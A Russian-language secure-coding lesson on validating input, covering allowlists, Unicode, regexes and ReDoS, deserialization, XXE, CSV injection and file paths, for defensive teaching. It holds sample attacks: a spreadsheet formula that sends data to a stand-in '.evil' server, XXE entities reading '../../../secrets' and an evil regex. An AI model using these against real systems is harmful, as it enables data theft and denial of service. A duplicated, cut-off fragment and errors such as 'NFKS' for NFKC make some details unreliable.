Безопасная работа с входными данными
Разберем, как правильно проверять различные типы данных и почему это помогает уменьшить риски атак.
Проверка входящих данных
Данный курс основан на материалах курса Developing Secure Software, разработанного объединением Open Source Security Foundation (OpenSSF), и рассматривает базовые вопросы, связанные с проектированием ПО, написанием безопасного кода, управлением уязвимостями, а также с использованием специализированных практик и инструментов при разработке ПО.
При разработке программ нужно помнить простое правило: все данные, которые вводят пользователи, должны проходить проверку. С одной стороны, это поможет предотвратить попадание некорректных данных в систему. С другой, сократит риски атак.
В первую очередь необходимо четко определить, какие данные поступают от пользователей. Затем — провалидировать или, если это возможно — даже ограничить ввод данных. Такие действия соответствуют принципу минимизации поверхности атаки.
Под поверхностью атаки понимается совокупность всех доступных извне и изнутри ресурсов, сервисов, приложений, устройств, учетных записей и других элементов ИТ-инфраструктуры, через которые может быть осуществлен несанкционированный доступ или компрометация.
Особенно важны проверки в приложениях, написанных на JavaScript. Код здесь выполняется в браузере пользователя, и атакующие могут манипулировать его проверками. При этом учтите, что валидация, выполненная в недоверенной среде, не может считаться надежной. Поэтому, если вы доверяете серверу больше, чем клиенту, все проверки безопасности должны выполняться на сервере.
Хорошая практика — придерживаться подхода allowlisting, или whitelisting (белые списки). Для этого при валидации входных данных нужно определить, какие из них считаются допустимыми, и отклонять все, что не соответствует этим критериям.
Есть и другой, противоположный подход — denylisting, или blacklisting (черные списки). Он предполагает, что явно определяются и отклоняются только недопустимые данные. Однако такой метод лучше не использовать: если вы пропустите хотя бы один важный случай недопустимых данных, можете столкнуться с уязвимостью.
Проверка чисел и текста
Разработчикам часто приходится работать со строками, представляющими собой число. В таких случаях важно проверять тип данных и делать это правильно.
Например, распространенная задача: убедиться, что числа находятся в допустимом диапазоне (пусть будет от 0 до 100). Хотя некоторые проверки разумно делать до преобразования текста в число, но проверку диапазона следует выполнять после. Также, если число должно быть целым, убедитесь, что оно действительно целое, и отклоните все другие значения.
Храните числовое значение в подходящем для конкретной задачи типе данных. Например, если число целое, используйте тип целого числа, а если отрицательные значения недопустимы, применяйте беззнаковый тип. Если вы работаете с числами с плавающей точкой, поступающими из ненадежных источников, учитывайте возможные исключения: NaN (not a number), бесконечности и переполнения. Например, NaN не равно ни одному числу, даже самому себе, и это важно учитывать при обработке таких значений. Ограничения на тип данных зависят от особенностей языка программирования. Например, в JavaScript нет беззнаковых типов.
Пример белого списка: вы задаете правило «разрешены только целые числа от 0 до 200, включая границы». Здесь де четко определены допустимые значения, и все, что выходит за их рамки, будет отклонено.
Иногда данные приходят в стандартизированном текстовом формате, и для их проверки можно воспользоваться готовыми библиотеками. Например, во многих языках программирования есть встроенные функции для проверки правильности адресов электронной почты. Если такая библиотека уже существует, воспользуйтесь ею.
Некоторые библиотеки для валидации требуют настройки. В этом случае настройте их так, чтобы они проверяли данные максимально строго. Например, если вы принимаете HTML, важно ограничить допустимые теги и атрибуты. Обычно разрешаются только самые базовые теги, такие как <i> для курсива, <b> для жирного текста и <a> для гиперссылок.
Что касается атрибутов, то лучше разрешать только те, которые нужны для нормальной работы, например, атрибут href у тега <a> для указания ссылки и id, если нужно создавать ссылки на определенные части документа. Таким образом, если кто-то попытается вставить такие теги, как <script>, валидатор их отклонит.
Некоторые форматы данных имеют сложную структуру и могут содержать различные типы информации. Например, файлы JSON, XML или CSV включают строки, числа, вложенные объекты и другие данные. Для их извлечения разработчики часто используют готовые библиотеки, после чего проверяют, что каждый элемент соответствует нужному формату. Например, если извлекается строка, которая должна быть числом, важно удостовериться, что оно попадает в допустимый диапазон.
Текст, кодировки и языковые настройки
Кодовые символы и кодировка
Компьютеры не работают с символами напрямую. Вместо этого каждый символ имеет свой уникальный номер — код, который позволяет хранить и передавать символы.
Когда-то для разных языков и систем использовались разные способы кодировки, но это приводило к проблемам при передаче данных между разными устройствами. Чтобы их решить, был создан стандарт Unicode, который присваивает каждому символу свой уникальный код. Например, латинская заглавная буква A в Unicode имеет код 65.
Кодировка — это способ, с помощью которого эти коды превращаются в байты, которые можно хранить или передавать. При этом сам по себе Unicode не является кодировкой, это всего лишь система, которая дает символам уникальные коды.
Существует несколько популярных кодировок, основанных на Unicode.
- UTF-8 — самая распространенная. Она использует от 1 до 4 байтов для каждого символа и подходит для большинства приложений. Если у вас нет причины для использования других кодировок, выбирайте эту.
- UTF-16 — использует 2 байта для большинства символов, но иногда 4 байта для редких символов.
- UTF-32 — всегда использует 4 байта для каждого символа.
При использовании UTF-16 или UTF-32, важно учитывать порядок байтов. Бывают два варианта:
- big-endian (старший байт сначала);
- little-endian (младший байт сначала).
Если вы не уверены, какой порядок используется, лучше добавить специальный маркер порядка байтов в начало текста. Это поможет получателю правильно интерпретировать данные. Также важно помнить, что не все последовательности байтов являются допустимыми. Поэтому при проверке данных нужно убедиться, что они соответствуют выбранной кодировке.
Локали
Интерпретация символов зависит от настроек системы, называемых локалью.
Локаль определяет язык, страну, настройки интерфейса и иногда кодировку символов. Например, для русского с кодировкой UTF-8 в Unix/Linux используется настройка «ru_RU.UTF-8».
Локаль важна, потому что она влияет на то, как система воспринимает символы. Вот что она определяет.
- Порядок сортировки (например, как будут упорядочены слова).
- Классификация символов (что считается «буквой»). В одной локали символы «A-Z» могут быть буквами, а в другой — нет.
- Преобразование регистра (что считается заглавной или строчной буквой). Может различаться в зависимости от локали.
Если вам нужно, чтобы текст всегда обрабатывался одинаково, независимо от локали, используйте локаль C (или POSIX). Но будьте осторожны: она не всегда соответствует ожиданиям пользователя.
Преобразовывать регистры особенно сложно. В некоторых языках нет различия между заглавными и строчными буквами. Даже если оно есть, соответствие между ними может различаться в разных локалях. То есть заглавная буква не является фиксированной: ее вид зависит от локали. Поэтому, если нужно сравнить две строки без учета регистра, используйте специальную функцию, которая учитывает локаль.
Эквивалентность Unicode
Многие программисты думают, что если последовательности кодов символов разные, то и строки тоже разные. Иногда это так, но не всегда. Unicode был создан с учетом совместимости с уже существующими стандартами, что иногда приводит к путанице.
Порой чтобы корректно сравнить символы, нужно использовать специальные библиотеки. Это важно, потому что некоторые символы могут выглядеть по-разному, но на самом деле быть эквивалентными. Например, символ «n» (код U+006E) и тильда (код U+0303) вместе составляют тот же символ, что и «ñ» (код U+00F1). Еще пример: символ «Å» можно записать как U+00C5 (латинская «A с кольцом сверху») или как U+212B (ангстрем), но оба варианта означают одно и то же.
Бывают случаи, когда нужно проверять не эквивалентность, а совместимость. Например, символ «ff» (код U+FB00) — это типографский символ «ff», который совместим с двумя символами «f» (U+0066 U+0066), но не является с ними эквивалентным.
Чтобы упростить обработку таких ситуаций, Unicode использует процесс нормализации. Он позволяет привести разные записи одного и того же символа к единому виду. Существуют четыре формы нормализации.
- NFD — нормализация с канонической декомпозицией. Символы разбиваются на части, и комбинирующие символы упорядочиваются.
- NFC — нормализация с канонической композицией. Символы сначала разбиваются, а потом восстанавливаются в одно целое по каноническим правилам.
- NFKD — нормализация с совместимой декомпозицией. Символы разбиваются по совместимости, а комбинирующие символы упорядочиваются.
- NFKS — нормализация с совместимой композицией. Символы разбиваются по совместимости и восстанавливаются по каноническим правилам.
Если вам нужно сравнивать строки, будьте последовательны в выборе формы. Кроме того, помнит: после нормализации восстановить исходное представление символов уже невозможно.
Визуальная подмена
Визуальная подмена (спуфинг) — это ситуация, когда пользователь ошибочно воспринимает два разных символа или строки как одинаковые. Злоумышленники могут использовать ее в свои атаках.
Такие ошибки могут происходить даже в пределах подмножества ASCII в Unicode. Например, цифра 0 выглядит как заглавная буква «O», а цифра 1 — как строчная буква «l». Из-за этого злоумышленник может создать домен paypa1.com вместо paypal.com. Также комбинация символов «rn» может быть воспринята как буква «m».
Большинство пользователей знакомы с этими проблемами, и многие шрифты разработаны так, чтобы такие символы было легче различить. Однако, когда мы выходим за пределы подмножества ASCII, возникают другие проблемы.
- Разложение (Decomposition). Например, символ «ƶ» можно записать как U+007A U+0335 (буква «z» с комбинированным штрихом) или как U+01B6. То есть одна и та же буква может быть представлена разными последовательностями байтов и выглядеть одинаково. Нормализация решает эту проблему.
- Смешанные скрипты (Mixed-script). Например, греческая буква «ο» (омикрон) и латинская буква «o» выглядят одинаково, хотя они принадлежат разным разделам Unicode.
- Похожие символы (Same-script). Некоторые символы выглядят практически одинаково. Например, дефис-минус «-» (U+002D) и дефис «‐» (U+2010).
- Визуальная подмена двунаправленного текста (Bidirectional Text Spoofing). В некоторых языках основной порядок письма — справа налево, но в определенных ситуациях текст может быть написан слева направо. Unicode поддерживает механизмы для указания направления текста. Это означает, что строка «olleh», окруженная указанием «пишем справа налево», будет выглядеть как «hello».
Визуальная подмена — сложная проблема, с которой не так просто бороться. Нормализация и использование шрифтов с четко различимыми символами могут помочь, но этого часто бывает недостаточно.
Валидация текста. Использование регулярных выражений
Теперь, когда мы разобрались с особенностями текста, давайте поговорим о его валидации. Почти всегда необходимо выполнить хотя бы две проверки: котировки и длины текста.
Проверка кодировки текста — важно убедиться, что текст закодирован в ожидаемой кодировке. Если нет особых причин для использования другой кодировки, лучше выбрать UTF-8. Она поддерживает все языки, совместима с ASCII и широко используется. Однако важно помнить, что не все последовательности байтов являются корректными в UTF-8. Множество уязвимостей возникло из-за того, что системы принимали байты, которые не соответствуют этому стандарту.
Проверка длины текста — нужно убедиться, что длина текста соответствует установленным минимальным и максимальным ограничениям, если они предусмотрены. Например, многие системы устанавливают максимальную длину, чтобы предотвратить отправку избыточных или чрезмерно больших объемов данных.
Иногда валидация текста бывает сложной. Например, проверка личных имен — непростая задача, особенно если имена принадлежат разным культурам. В разных странах разные традиции: например, порядок написания имени и фамилии может варьироваться. В некоторых культурах отчества может не быть вовсе. Имена могут содержать пробелы (в том числе внутри одного имени или фамилии) и включать символы, отличные от латиницы или китайских иероглифов.
Иногда текстовое значение должно быть одним из заранее определенных вариантов. Чтобы это реализовать, достаточно хранить допустимые значения в наборе (например, в множестве или словаре) и проверять, что введенное значение присутствует в этом списке.
Однако бывают и еще более сложные случаи, когда текст должен соответствовать строгим правилам. Например, где нужно проверять даты, время, номера телефонов, адреса и другие типы данных. Для таких данных валидация требует более детальной проработки, поэтому для проверки удобно использовать регулярные выражения (regex). Они позволяют быстро написать нужную проверку, экономя время разработки, просты в использовании и достаточно гибки для большинства задач.
Изначально регулярные выражения использовались для поиска шаблонов в тексте, а не для валидации ввода. Однако они вполне подходят и для этой задачи, если учесть несколько важных особенностей.
Сопоставляйте, а не ищите
Основная проблема использования регулярных выражений в том, что по умолчанию они ищут, где в тексте можно найти заданный шаблон. Однако при валидации ввода нужно не просто искать шаблон, а проверять, соответствует ли ему весь текст. При этом шаблон должен быть максимально строгим, чтобы не пропустить неверный ввод.
Чтобы регулярное выражение проверяло нужный вам текст целиком, используйте якоря. Начинайте шаблон с якоря начала строки — символа «^» или «\A», а завершайте якорем конца строки — «$» или «\z». Так вся строка будет проверяться целиком. Например, такое регулярное выражение будет соответствовать любому слову, содержащему «cab», «car» или «cat»:
ca[brt]
А вот это будет проверять только строки, которые точно совпадают с «cab», «car» или «cat»:
^ca[brt]$
Важно помнить, что символы «^» и «?» могут иметь разные значения в разных реализациях регулярных выражений, поэтому важно учитывать специфику используемой системы.
Особенности реализации регулярных выражений
Синтаксис регулярных выражений может отличаться в зависимости от языка программирования и используемой библиотеки. Обязательно читайте документацию, особенно если используете незнакомые операции. Также будьте осторожны при повторном использовании шаблонов, так как они могут вести себя по-разному в разных системах.
Типы синтаксиса
Есть три главных типа синтаксиса регулярных выражений: базовое, расширенное и совместимое с Perl.
Базовое регулярное выражение (Basic Regular Expressions, BRE) используется по умолчанию в утилитах grep и sed и основан на стандарте POSIX. Синтаксис BRE может быть не очень удобным, поэтому для валидации ввода чаще используют расширенные регулярные выражения.
Расширенное регулярное выражение (Extended Regular Expressions, ERE) — это расширение стандарта POSIX, которое включает дополнительные возможности вроде использования круглых скобок для группировки и символа «+» для обозначения «один или более». Такой синтаксис часто используется в программах на языке C. Например, выражение «[B-D]+» означает «один или несколько символов из набора B, C или D».
Регулярные выражения, совместимые с Perl (Perl Compatible Regular Expressions, PCRE) — это расширение формата ERE, используемое во многих языках программирования. Оно добавляет новые функции, например, использование «\d» для обозначения цифр.
Вот некоторые важные различия.
- Соответствие всему виду. Иногда есть метод или настройка, которая позволяет проверять всю строку целиком, без использования символов якоря (^ и $). Если такой метод доступен, его можно использовать. Однако важно убедиться, что он действительно проверяет всю строку, а не только ее начало или конец.
- Символ ^ иногда указывает на начало всего текста, а иногда — на начало каждой строки в тексте.
- Символ $ может означать конец всего текста или конец каждой строки. В некоторых системах в конце текста может стоять необязательный символ новой строки, и это также будет восприниматься как конец текста. В других системах для указания конца текста нужно использовать «\z», а в Python — «\Z».
- Символ точки. Точка обычно обозначает любой символ, кроме символа новой строки (\n). Однако в некоторых системах можно изменить настройки так, чтобы она учитывала и этот символ.
- Поддержка Unicode. Некоторые системы корректно поддерживают Unicode и используемую вами кодировку, другие — нет.
- Обработка символа NUL. Некоторые системы могут обрабатывать данные с символом NUL (байт со значением 0), другие — не могут. Если ваша система не поддерживает этот символ, а ваши данные могут его содержать, их нужно проверить на наличие символа NUL перед использованием в регулярных выражениях.
- Чувствительность к регистру. Некоторые системы по умолчанию учитывают регистр символов, другие — нет. Обычно чувствительность к регистру включена, но ее можно легко отключить. Если регистр игнорируется, важно помнить, что символы, для которых это происходит, зависят от локали. Например, в английской локали («en») и локали C («C») символы «I» и «i» считаются одинаковыми, но в турецкой локали («tr») это не так. В турецкой локали заглавная буква «I» соответствует безточечной малой «ı», а не «i».
Приоритет операций «или»
Большинство реализаций регулярных выражений поддерживает операцию «или», которая позволяет выбрать один из нескольких вариантов. Например, выражение «aa|bb|cc» соответствует одному из этих значений: «aa», «bb» или «cc». Эта операция поддерживается в ERE и PCRE, а в некоторых версиях BRE ее можно применить, если использовать символ \| вместо |.
Однако стоит помнить, что приоритет операции «или» может быть не таким, как вы ожидаете. Например, регулярное выражение «^aa|bb$» на самом деле будет соответствовать строкам, которые либо начинаются с «aa», либо заканчиваются на «bb». Оно не означает, что итоговая строка должна быть равна строке «aa» либо строке «bb».
Чтобы избежать таких ошибок, всегда заключайте операцию «или» в скобки. Например, выражение “^(aa|bb)$” проверяет, что строка целиком совпадает либо с «aa», либо с «bb», а не соответствует каким-то другим условиям.
Важно знать, какие данные ваше приложение не должно принимать, и использовать эти примеры в автоматизированных тестах, чтобы убедиться, что она правильно отклоняет такие данные. Это особенно актуально при работе с регулярными выражениями, так как можно написать выражение, которое выглядит корректно, но пропускает данные, которые должны быть запрещены. Такие тесты помогут найти ошибки, например, пропущенные якоря или неправильное использование операции «или», когда части выражения не заключены в скобки.
Противодействие атакам ReDoS на регулярные выражения
Добавлять проверки ввода с использованием регулярных выражений — распространенная и полезная практика. Однако важно помнить про риск непреднамеренного внедрения уязвимости Regular expression Denial of Service (ReDoS).
В случае уязвимости ReDoS злоумышленник может подать входные данные, которые заставят регулярное выражение работать очень долго. Например, несколько дней. Такое поведение приводит к отказу в обслуживании (Denial of Service, DoS). И это не теоретическая угроза: в 2020 году уязвимость ReDoS была найдена в пакете websocket-extensions для npm и его версии для Ruby (CVE-2020-7662 и CVE-2020-7663).
Common Vulnerabilities and Exposures (CVE) — база данных общеизвестных уязвимостей.
Запись CVE имеет идентификационный номер (ID), описание и как минимум одну публичную ссылку. Идентификационные номера CVE имеют вид CVE-год-номер, где год — это год сообщения, а номер — произвольное целое положительное число, чтобы обеспечить уникальность идентификаторов CVE. Например, CVE-2014-0160 — конкретная уязвимость в OpenSSL (так называемая уязвимость Heartbleed), о которой впервые было сообщено в 2014 году.
CVE присваиваются только тому ПО, которое было публично выпущено (включая предварительные версии, если они широко используются) и, как правило, не присваиваются созданному на заказ и не распространяемому публично ПО и онлайн-сервисам. Тем не менее, CVE являются наиболее широко используемым методом присвоения уникального идентификатора для каждой публично известной уязвимости, поэтому важно знать о них.
Основная причина уязвимости ReDoS заключается в особенностях реализации некоторых движков регулярных выражений. В частности, уязвимость возникает в системах, использующих бэктрекинговый (backtracking) алгоритм сопоставления, который в определённых случаях может приводить к экспоненциальному росту времени обработки входных данных при специально подобранных строках.
Для понимания проблемы полезно рассмотреть два основных подхода к реализации механизмов сопоставления регулярных выражений:
- детерминированный конечный автомат (Deterministic Finite Automaton, DFA);
- недетерминированный конечный автомат (Non-deterministic Finite Automaton, NFA).
Реализации на основе DFA работают за линейное время относительно размера входных данных и не используют бэктрекинг. Благодаря этому они устойчивы к атакам ReDoS. Однако DFA имеют ограничения по выразительности и поддерживаемым конструкциям регулярных выражений, поэтому на практике применяются реже.
Большинство современных движков регулярных выражений используют бэктрекинговый NFA-подход. В таких реализациях при сопоставлении шаблона выполняется последовательный перебор альтернатив: если текущий путь сопоставления не приводит к успеху, движок возвращается к последней точке выбора и пробует другие варианты (backtracking). В худшем случае количество проверяемых вариантов может расти экспоненциально.
Для большинства корректно составленных регулярных выражений это не представляет проблемы. Однако некоторые шаблоны могут приводить к катастрофическому бэктрекингу, вызывая значительное увеличение времени обработки и создавая условия для атаки типа ReDoS.ольшинство, выполняют откат (backtrack) при неудаче и продолжают проверку, пока не найдут совпадение или не переберут все возможные варианты. В худшем случае они могут проверить все комбинации. Для большинства регулярных выражений это не является проблемой, но для некоторых шаблонов это может привести к очень значительным задержкам.
Рассмотрим конкретный пример шаблона регулярного выражения, который может привести к уязвимости ReDoS.
- Шаблон с повторением сложных подвыражений: шаблон использует повторение («+» или «*») для сложных подвыражений.
- Вложенные повторения и совпадения суффиксов: в этих повторяющихся подвыражениях могут содержаться дополнительные символы повторения и выражения, которые соответствуют суффиксу другого совпадения. (OWASP ReDoS).
Простой пример такого шаблона — «^(a+)+$». Предположим, злоумышленник вводит строку «aaaaX». Реализация NFA легко находит первое совпадение с буквой «a», но затем возникает вопрос: применить внутренний или внешний «+» к следующей букве? Большинство реализаций сначала попробуют внутренний «+», а затем при необходимости выполнят откат. В худшем случае NFA будет перебирать все возможные пути.
Для строки «aaaaX» будет проверено 16 вариантов, каждый из которых в конце не сработает из-за символа «X». Если злоумышленник введет «aaaaaaaaaaaaaaaaX», количество путей увеличится до 65 536 и будет удваиваться с каждым дополнительным символом «a». Если же ввести 80 символов «a» перед «X», обработка всех путей займет настолько много времени, что это приведет к отказу в обслуживании (DoS).
Шаблоны, которые ведут себя так в худших случаях, называют уязвимыми регулярными выражениями, или «evil regexes». Также это поведение называют катастрофическим откатом (catastrophic backtracking).
Варианты решения
Существует множество вариантов решения этой проблемы.
Использование DFA-реализаций
Реализации на основе DFA не подвержены ReDoS. Например, в экосистеме NPM пакет «re2» использует DFA. Однако движки на основе DFA, как правило, имеют более ограниченную функциональность и сложны в установке и использовании, поэтому применяются реже.
Модификация выражения
Измените регулярное выражение, чтобы избежать худшего поведения. Будьте особенно осторожны с группами «(…)», которые содержат ветвления и/или заканчиваются повторением, которое само повторяется. Некоторые инструменты проверяют исходный код на наличие таких выражений.
Устранение неоднозначности
Если в регулярном выражении есть повторяющиеся ветви или повторения, перепишите его так, чтобы следующий символ во входных данных однозначно определял, продолжается ли повторение. Например, «^(a+)+$» можно переписать как «^a+$».
Использование атомарных групп и количественных модификаторов
Многие реализации поддерживают атомарные группы и количественные модификаторы, которые предотвращают ненужный откат.
Ограничение повторений
Избегайте неограниченных повторений. Например, задайте максимальное количество повторений (например, {0,5}), чтобы ограничить худшее поведение.
Ограничение длины ввода
Ограничьте максимальную длину входных строк и сначала проверьте длину ввода. Если ввод должен быть коротким, экспоненциальный рост времени не окажет большого влияния на общее время.
Реализация таймаута
Установите таймаут для регулярных выражений (если поддерживается) или для всего приложения.
Избегание выполнения регулярных выражений, предоставленных злоумышленниками
Не выполняйте регулярные выражения, предоставленные злоумышленниками, на доверенных системах. Регулярные выражения — это, по сути, язык программирования, поэтому к ним следует относиться как к любому другому недоверенному коду и не выполнять их без необходимости.
ReDoS часто не является реальной уязвимостью. Такие регулярные выражения могут быть уязвимыми только в случае их выполнения на доверенной системе и при обработке недоверенных входных данных. Многие инструменты могут обнаружить регулярные выражения, уязвимые к ReDoS, но не всегда определяют, является ли источник входных данных недоверенным. Эти инструменты могут создать ложное впечатление о наличии уязвимостей. Кроме того, контрмеры (например, ограничение длины ввода и тайм-ауты) эффективно устраняют угрозу ReDoS.
Проверка сложных типов данных
Еще одна серьезная угроза, с которой вы можете столкнуться — небезопасная десериализация.
Десериализацией называют процесс преобразования последовательности (байтов или символов) во внутренний формат программы. Он происходит при чтении данных из сети или из хранилища, поскольку в обоих случаях требуется преобразовать последовательность байтов или символов во внутреннее представление.
Десериализация может приводить к серьезным проблемам, поскольку злоумышленник может предоставить измененную последовательность.
- Входные данные могут быть преобразованы. Например, структурированное значение cookie изначально могло содержать admin=n, но злоумышленник может изменить его на admin=y. Если программа примет эти данные, злоумышленник может получить права администратора.
- Десериализация может привести к выполнению кода, например, к созданию классов или экземпляров и (или) вызову методов, выбранных злоумышленником, с переданными им аргументами. Это особенно характерно для форматов, предназначенных для произвольного сохранения объектов. Яркий пример — формат Python pickle, который в определенных случаях автоматически выполняет код при десериализации данных.
Наиболее безопасное решение — не принимать сериализованные объекты из ненадежных источников. Если же вы вынуждены это делать, используйте форматы сериализации, которые не поддерживают выполнение кода. Например, применяйте форматы, разрешающие только примитивные типы данных. Это решает вторую проблему (выполнение кода), но сама по себе эта мера не устраняет первую проблему (неожиданные значения). Поэтому, выбрав подход для предотвращения выполнения кода, проверяйте полученные входные данные.
В некоторых случаях атаки на десериализацию можно предотвратить с помощью проверки подлинности. Для этого перед десериализацией выполните проверку подлинности, чтобы убедиться, что данные поступили из доверенного источника.
Проверка сложных типов данных: Структурированные данные
Иногда программам необходимо работать со сложными структурами данных: XML, HTML, JSON и CSV. Хотя технически это строки, на практике они представляют собой строки со сложной внутренней структурой.
Зачастую для таких задач оптимально использовать библиотеки, специально разработанные для обработки этих форматов — при условии, что они предназначены для работы с потенциально вредоносными данными. Следует выявлять и отклонять структурно невалидные данные, а затем, где это уместно, проверять их соответствие требуемой схеме.
В идеале такие библиотеки позволяют определить допустимые структуры и автоматически отклонять все остальное. Если встроенных механизмов валидации недостаточно, дополните их собственной проверкой, чтобы гарантировать прием только корректных данных.
XML
Многие данные и сообщения используют кодировку XML (Extensible Markup Language). Существует два термина, которые часто путают:
- Корректный XML. Он следует определенным синтаксическим правилам. Например, все открытые теги должны быть закрыты, а элементы должны быть правильно вложены. Если вы принимаете XML, как минимум убедитесь, что он корректен — для этого существуют доступные библиотеки, и приложения должны принимать только корректный XML.
- Валидный XML. Он соответствует определенной схеме. Схема определяет, какие теги разрешены, как они могут быть вложены и какие из них обязательны. Строгая схема — это своего рода белый список (allowlist). Таким образом, проверка валидности перед обработкой XML может быть эффективной мерой против атак. Однако не позволяйте злоумышленнику выбирать схему — сами решите, какая схема допустима, и используйте ее.
Если вы используете XML, существует крайне распространенная уязвимость, которую необходимо учитывать — XML External Entities (XXE, CWE-611).
Большинство уязвимостей можно разделить на категории. Определив категории, мы можем понять, какие из них встречаются чаще всего, и принять меры для предотвращения повторного появления таких уязвимостей.
Общий перечень недостатков (дефектов) безопасности (Common Weaknesses Enumeration, CWE) — обширный список распространенных уязвимостей. В контексте CWE «уязвимость» — это категория или тип слабости. Важно понимать разницу между CWE и CVE: CWE определяет тип уязвимости, а CVE — конкретную уязвимость в определенном продукте или семействе продуктов. Каждый CWE имеет уникальный идентификатор с номером.
Список CWE Top 25 — это перечень наиболее распространенных и критичных типов уязвимостей, созданный командой Common Weaknesses Enumeration (CWE) на основе анализа данных о публично известных уязвимостях за многие годы. Этот список применим к любому ПО, но особенно часто его используют для приложений, не являющихся веб-приложениями (для них используют разработанный проектом Open Web Application Security Project список OWASP Top 10). Одна интересная особенность: команда CWE выявляет важные уязвимости, выходящие за рамки первых 25, поэтому в этом списке можно встретить числа, превышающие 25.
Чтобы понять уязвимость XXE, нужно разобраться с одной малоизвестной функциональностью XML. Этот формат поддерживает внешние ссылки, которые могут автоматически загружаться при открытии документа. Внешняя ссылка может вести к любому файлу или URL. Это означает, что злоумышленник может предоставить файлы, которые незаметно загрузят и разместят в определенных местах другие файлы или URL. Данная функциональность существует не просто так, и некоторые системы легитимно ее используют. Однако многие разработчики не знают о ее существовании, что привело к множеству уязвимостей. Вот пример XML-документа с внешними сущностями:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<!DOCTYPE letter [
<!ENTITY part1 SYSTEM "http://www.example.com/part1.xml">
<!ENTITY part2 SYSTEM "../../../secrets/part2.xml">
]> ...
<building>
&part1; &part2;
</building>
Не стоит принимать непроверенные внешние ссылки из ненадежных источников. Вот несколько возможных решений:
- Настройте ваш XML-парсер так, чтобы он игнорировал или отклонял внешние ссылки. Убедитесь с помощью автоматических тестов, что эта настройка работает. Так как большинство приложений не используют внешние сущности, это обычно самое простое решение.
- Запретите или проверяйте (с помощью белого списка) все внешние ссылки перед использованием.
- Не используйте XML, в том числе форматы вроде SOAP, которые его применяют. Другие форматы, такие как JSON, не имеют этого механизма и поэтому не подвержены данной проблеме.
HTML
В случае с HTML можно просто вызвать библиотеку для проверки HTML и передать набор разрешенных тегов (например, <p>) и атрибутов (например, href=). Все, что не разрешено, удаляется или отклоняется. Это позволит устранить опасные теги вроде <script> из внешних источников при условии, что вы не включили опасные теги в набор разрешенных.
Если вы разрешаете только теги <p>, <i> и <b> и ограничиваете атрибуты значениями вроде id, потенциальный ущерб значительно ограничивается.
CSV
CSV (Comma-Separated Values) — это текстовый формат хранения данных, в котором каждая строка представляет отдельную запись, а поля разделяются запятыми.
На практике существует множество вариаций формата CSV. С точки зрения безопасности проблема заключается в том, что некоторые приложения, например Microsoft Excel и LibreOffice, могут интерпретировать содержимое CSV не только как данные, но и как команды. Например, значение поля, начинающееся с символа «=», воспринимается как формула, которая может выполнять функции и обращаться к внешним ресурсам.
Так, в некоторых табличных редакторах значение вида =IMPORTXML(CONCAT(“http://some-server-with-log.evil?v=”, CONCATENATE(A2:E2)), “//a”) способно отправить данные из таблицы на внешний сервер.
Чтобы предотвратить подобные атаки, необходимо проверять и фильтровать содержимое каждого поля перед обработкой или импортом CSV-файла. Особое внимание следует уделять значениям, начинающимся с символов «=», «+», «-» и «@».
При чтении этих форматов из ненадежного источника убедитесь, что каждая ячейка соответствует ожидаемому формату данных, и не принимайте данные в противном случае. Будьте особенно осторожны с ячейками, начинающимися с «=», поскольку некоторые инструменты могут выполнять их содержимое.
JSON
JSON обладает важной особенностью: он не поддерживает встроенные механизмы для подключения внешних сущностей или выполнения выражений, в отличие от некоторых других форматов. Для проверки синтаксиса JSON существуют удобные инструменты, которые часто встроены в процесс преобразования JSON-данных во внутренние структуры данных.
Если требуется более строгая валидация, можно использовать JSON Schema — специальный формат для описания структуры JSON-документов. Валидаторы JSON Schema позволяют проверить, соответствует ли полученные данные заданной схеме, включая типы данных, обязательные поля и другие ограничения.
Загрузка файлов
Иногда необходимо принимать файлы специальных типов. Например, изображений.
Если ваше приложение разрешает загрузку файлов, старайтесь ограничивать допустимые типы и проверяйте (как по MIME-типу, так и по содержимому), что файл относится к разрешенным типам. Также ограничьте допустимые символы в имени файла: буквенно-цифровые символы обычно безопасны, а другие (особенно “/”) могут быть проблематичными. Разрешайте только те символы, в которых уверены. По возможности создайте белый список допустимых расширений файлов и разрешайте загрузку только файлов с этими расширениями.
Проверка сложных типов данных. Конфигурационные данные
Существует особая категория входных данных, часто используемых при запуске приложения — конфигурационная информация. Она может быть критически важной для безопасности.
Современные системы состоят из множества компонентов. Разрабатываемое вами ПО, вероятно, будет небольшой частью какой-то более крупной системы. Не рассчитывайте, что пользователи внимательно изучат вашу документацию — они этого не сделают. Вместо этого сделайте так, чтобы ваше ПО было легко использовать безопасно.
В первую очередь, обеспечьте безопасность по умолчанию. Если конфигурационная информация отсутствует, ваша программа должна выполнять наиболее безопасное действие (отказывать в доступе).
Проверка путей и имен файлов
Путь (pathname) — это последовательность байтов, описывающая расположение объекта в файловой системе. В Unix-подобных системах (включая Linux, Android, macOS и iOS) путь состоит из одного или нескольких имен файлов, разделенных слешем («/»). На практике термин «имя файла» часто используют для обозначения полных путей.
Пути к файлам часто полностью или частично контролируются пользователями. Например, удобно использовать имена файлов в качестве ключа для идентификации соответствующих данных, но это может привести к тому, что пользователи получат контроль над именами файлов. Другой пример — мониторинг или управление общими системами — в этом случае наблюдаемая сторона контролирует имена файлов. Даже когда злоумышленник технически не должен иметь возможность получить такой контроль, важно учитывать эту угрозу как элемент многоуровневой защиты — это помогает противостоять атакующим, которые смогли получить ограниченный доступ к системе.
Пути в Unix/Linux и обход путей
В большинстве Unix-подобных систем именем файла может быть любая последовательность байтов, за исключением \0 (нулевой байт) и символа слеша.
Распространенное заблуждение заключается в том, что имена файлов в Unix представляют собой строки символов. На самом деле, они не являются строками в традиционном понимании — это просто последовательности байтов, которые не обязательно должны формировать корректные символы.
Хотя общепринятой практикой является интерпретация имен файлов в кодировке UTF-8, большинство систем не требуют соблюдения этого правила. Более того, они вообще практически не накладывают ограничений, что позволяет создавать проблемные имена файлов: содержащие пробелы (или состоящие исключительно из пробелов), управляющие символы (например, перевод строки, табуляцию, escape-последовательности), байты, не являющиеся корректной UTF-8-последовательностью, или имена, начинающиеся с дефиса «-» (используемого для обозначения опций команд). Подобные имена файлов могут вызывать проблемы в работе.
Ряд проблем, связанных с именами файлов, характерен исключительно для командной оболочки. Распространенная проблема заключается в том, что символ дефиса «-», используемый как признак опций во многих командах, может быть допустимым первым символом имени файла.
Простое решение: добавлять префикс «./» к шаблонам подстановки и именам файлов там, где это необходимо. Это предотвращает интерпретацию начала имени как опции. Например, если злоумышленник может влиять на имена файлов в каталоге, вместо шаблона «.pdf» следует использовать «./.pdf».
